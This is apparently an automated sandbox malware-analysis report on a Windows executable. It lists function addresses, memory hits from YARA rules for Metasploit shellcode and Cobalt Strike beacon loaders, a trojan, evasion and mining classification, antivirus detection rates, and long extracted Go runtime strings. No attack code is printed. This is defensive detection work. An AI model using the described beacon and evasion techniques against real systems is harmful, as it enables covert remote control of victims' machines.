Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C73AC0	0_2_00C73AC0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C91E6C	0_2_00C91E6C
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C55620	0_2_00C55620
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C3C760	0_2_00C3C760
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C42700	0_2_00C42700
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C4D840	0_2_00C4D840
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C8D040	0_2_00C8D040
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C45820	0_2_00C45820
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C76160	0_2_00C76160
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C4F120	0_2_00C4F120
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C58AC0	0_2_00C58AC0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C59A80	0_2_00C59A80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C88A80	0_2_00C88A80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C47240	0_2_00C47240
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C6D240	0_2_00C6D240
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C97340	0_2_00C97340
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C69B60	0_2_00C69B60
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C85B60	0_2_00C85B60
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C33B00	0_2_00C33B00
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C88300	0_2_00C88300
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C7E320	0_2_00C7E320
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C5BCE0	0_2_00C5BCE0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C524F0	0_2_00C524F0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C6E400	0_2_00C6E400
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C585E0	0_2_00C585E0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C8B5E0	0_2_00C8B5E0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C46580	0_2_00C46580
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C5CD80	0_2_00C5CD80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C3D540	0_2_00C3D540
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C53560	0_2_00C53560
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C6A520	0_2_00C6A520
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C666C0	0_2_00C666C0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C65E80	0_2_00C65E80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C5AE40	0_2_00C5AE40
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C46E65	0_2_00C46E65
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C39E60	0_2_00C39E60
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C40620	0_2_00C40620
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C81F80	0_2_00C81F80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C7CF60	0_2_00C7CF60
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C99760	0_2_00C99760
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DDCCBF	0_2_000001A266DDCCBF
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DDC20B	0_2_000001A266DDC20B
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DDBA9F	0_2_000001A266DDBA9F
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A266DDA15F	0_2_000001A266DDA15F
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671D54A8	0_2_000001A2671D54A8
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671DAD18	0_2_000001A2671DAD18
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671E7D50	0_2_000001A2671E7D50
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671DD878	0_2_000001A2671DD878
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671E86C0	0_2_000001A2671E86C0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671DCDC4	0_2_000001A2671DCDC4
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_000001A2671DC658	0_2_000001A2671DC658

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: String function: 00C67400 appears 672 times
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: String function: 00C66BE0 appears 83 times
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: String function: 00C96240 appears 526 times

Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000002.3407668422.000000C0000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: Process Memory Space: zrNcqxZRSM.exe PID: 1424, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@2/0@1/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7048:120:WilError_03

Source: zrNcqxZRSM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: zrNcqxZRSM.exe	Virustotal: Detection: 62%
Source: zrNcqxZRSM.exe	ReversingLabs: Detection: 44%

Source: zrNcqxZRSM.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus old
Source: zrNcqxZRSM.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus old
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent loc
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent loc
Source: zrNcqxZRSM.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power
Source: zrNcqxZRSM.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power
Source: zrNcqxZRSM.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.ins
Source: zrNcqxZRSM.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.ins
Source: zrNcqxZRSM.exe	String found in binary or memory: concurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:sec
Source: zrNcqxZRSM.exe	String found in binary or memory: concurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:sec
Source: zrNcqxZRSM.exe	String found in binary or memory: runtime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: zrNcqxZRSM.exe	String found in binary or memory: runtime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspin
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspin
Source: zrNcqxZRSM.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack
Source: zrNcqxZRSM.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack
Source: zrNcqxZRSM.exe	String found in binary or memory: lfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: lfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: /sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: /sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: uncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: uncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime:
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime:
Source: zrNcqxZRSM.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime:
Source: zrNcqxZRSM.exe	String found in binary or memory: ) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime:
Source: zrNcqxZRSM.exe	String found in binary or memory: ) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime:
Source: zrNcqxZRSM.exe	String found in binary or memory: runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable t
Source: zrNcqxZRSM.exe	String found in binary or memory: runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescUnable t
Source: zrNcqxZRSM.exe	String found in binary or memory: _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandoned" not supported for cpu option "MapIter.Value called before Nextuse of closed network connectioncrypto/aes: output not full blockCryptAcquireCertificatePrivateKeyGetVolumeNameForVolumeMountPointWInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyW142108547152020037174224853515625710542735760100185871124267578125too many levels of symbolic linksslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangeGODEBUG: no value specified for "reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangewaiting for unsupported file typecrypto/aes: invalid buffer overlapillegal base64 data at input byte CM_Get_Device_Interface_List_SizeWSetFileCompletionNotificationModes3552713678800500929355621337890625too many references: cannot spliceslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notreflect: Field of non-struct type reflect: Field index out of boundsreflect: string index out of rangeunexpected runtime.netpoll error: encoding/hex: odd length hex stringSubscribeServiceChangeNotifications1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9network dropped connection on resettransport endpoint is not connectedpersistentalloc: align is too 